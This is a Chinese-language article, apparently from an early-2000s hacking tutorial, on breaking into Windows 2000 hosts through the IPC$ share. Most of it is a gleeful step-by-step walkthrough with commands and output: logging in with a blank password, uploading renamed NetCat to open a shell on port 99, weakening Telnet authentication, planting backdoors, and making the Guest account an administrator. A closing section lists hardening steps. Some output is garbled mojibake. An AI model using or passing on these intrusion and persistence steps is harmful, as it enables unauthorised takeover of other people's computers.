IPC$入侵,即通过使用Windows 系统中默认启动的IPC$共享,来达到侵略主机,获得计算机控制权的入侵。此类入侵主要利用的是计算机使用者对计算机安全的知识缺乏,通常不会给计算机设定密码或者密码过于简单,因此才导致被黑客的有机可乘。
基本介绍
- 中文名:IPC$入侵
- 系统:Windows
- 途径:IPC$共享
- 目标:主机
IPC$入侵
IPC$是Windows的默认共享。其实,这个共享并没有什幺漏洞。
我们可以用主机的管理员用户名和密码连线。
问题就出在管理员密码了。直至现在为止,世界上起码有20%的人,把主机密码设定为“空”或者“123”等简单密码。
我们要寻找这些主机十分简单。只需要一个程式就可以。
下面,我会把以前写的一篇IPC$入侵文章,进行小小的修改。
範例
本次範例需要的系统及程式情况如下:
作业系统:Windows 2000
对方作业系统:Windows 2000
程式(一):流光 IV 国际版 (Fluxay Release IV Build 2914 International Edition For NT/2000/XP)
程式(二):Srv.exe
程式(三):Ntlm.exe
本机IP:127.0.0.1
测试IP:127.0.0.25
新程式介绍
Srv.exe:实际上是NetCat,这里改名为Srv.exe。用于在主机建立一个连线埠为99的shell。
Ntlm.exe:是小榕写的一个程式,用于修改Windows 2000 Telnet Servery身份验证的方式。
关于扫描的方法,在流光的help目录有一个ipc.mht的档案。里面有使用说明。
扫描IPC$主机
假设,我们扫描了一台IPC$主机:127.0.0.25
用户名:davis
密码:空
“//”后是注解。
Microsoft Windows 2000 [Version 5.00.2195]
(C) 着作权所有 1985-1998 Microsoft Corp.
D:>net use \\127.0.0.25\ipc$ "" /user:"davis" //这是我用流光扫到的密码~~~我们就拿它开刀吧~!
命令成功完成。
D:>copy srv.exe \\127.0.0.25\ipc$ //先複製srv.exe上去,在流光的Tools目录就有。
已複製 1 个档案。
D:>net time \\127.0.0.25 //查查时间。
\\127.0.0.25 的当前时间是 2001/1/17 上午 10:48
命令成功完成。
D:>at \\127.0.0.25 10:50 srv.exe //用at命令启动srv.exe吧~!(这里设定的时间要比主机时间快)
关于at命令:at是让电脑在指定的时间做指定的事情的命令(比如运行程式)
新加了一项作业,其作业 ID = 1
D:>net time \\127.0.0.25//再查查够时间没有?!噢~~够了~
127.0.0.25 的当前时间是 2001/1/17 上午 10:51
命令成功完成。
D:>telnet 127.0.0.25 99 //我们telnet吧,注意连线埠是99喔~
Microsoft Windows 2000 [?セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:> //噢~~成功了!
D:>copy ntlm.exe \\127.0.0.25$//我们再开一个DOS视窗,把ntlm.exe上传到主机上。(也是在流光流光的Tools目录)
已複製 1 个档案。
Microsoft Windows 2000 [?セ 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:>ntlm //我们输入ntlm启动吧。
ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
Done! //OK~:)
C:>
C:>net start telnet //然后直接用net start telnet启动telnet.
net start telnet
Telnet 獮叭タ?币笆 .
Telnet 獮叭?竒币笆Θ?? //直觉告诉我成功了~!(没办法,这里是乱码)
C:>
C:> //这个视窗已经没用了,关了他吧!
D:>telnet 127.0.0.25 //我们在开一个DOS视窗,然后telnet上去。
NTLM Authentication failed due to insufficient credentials. Please login with
clear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login: davis //输入用户名
password: //输入密码(密码是空的,所以不用输入)
*===============================================================
舧?ㄏノ Microsoft Telnet Server?
*===============================================================
C:>copy c:.exe c://留个后门。
╰参тぃ??﹚?郎??
C:>copy c:.exe c:.exe //再留多个后门。
狡籹? 1 ?郎??
C:>net user guest /active:yes //将Guest用户激活.
??磅︽Θ??
C:>net user guest cnhack //将Guest的密码改为cnhack,或者你要设定的密码。
??磅︽Θ??
C:>net localgroup administrators guest /add //将Guest变为Administrator。^_^
??磅︽Θ??
如果管理员把密码更改,而guest帐号没改变的话,下次我们可以用guest再次访问这台计算机。(不过许可权就比较小了。——
后门够多了吧~~~~呵呵~~一个跳板就做好了!
C:>
解惑
1)IPC连线是Windows NT及以上系统中特有的远程网路登入功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函式,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连线,98/me是不能建立ipc$连线的(但有些朋友说在98下能建立空的连线,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)。
2)即使是空连线也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连线。
3)并不是说建立了ipc$连线就可以查看对方的用户列表,因为管理员可以禁止导出用户列表。
建立ipc$连线的作用
就像上面所说的,即使你建立了一个空的连线,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定许可权的用户身份登入的话,那幺你就会得到相应的许可权,显然,如果你以管理员身份登入,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎幺样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那幺好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的许可权甚至是没有许可权进行连线,你会慢慢的发现ipc$连线并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连线.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连线在hack入侵中的意义所在.
如何防範ipc$入侵
1禁止空连线进行枚举
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设定为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双位元组值)一个主健再改键值。
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制台-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
4安装防火墙(选中相关设定),或者连线埠过滤(滤掉139,445等),或者用新版本的最佳化大师
5避免设定弱密码,防止通过ipc$穷举密码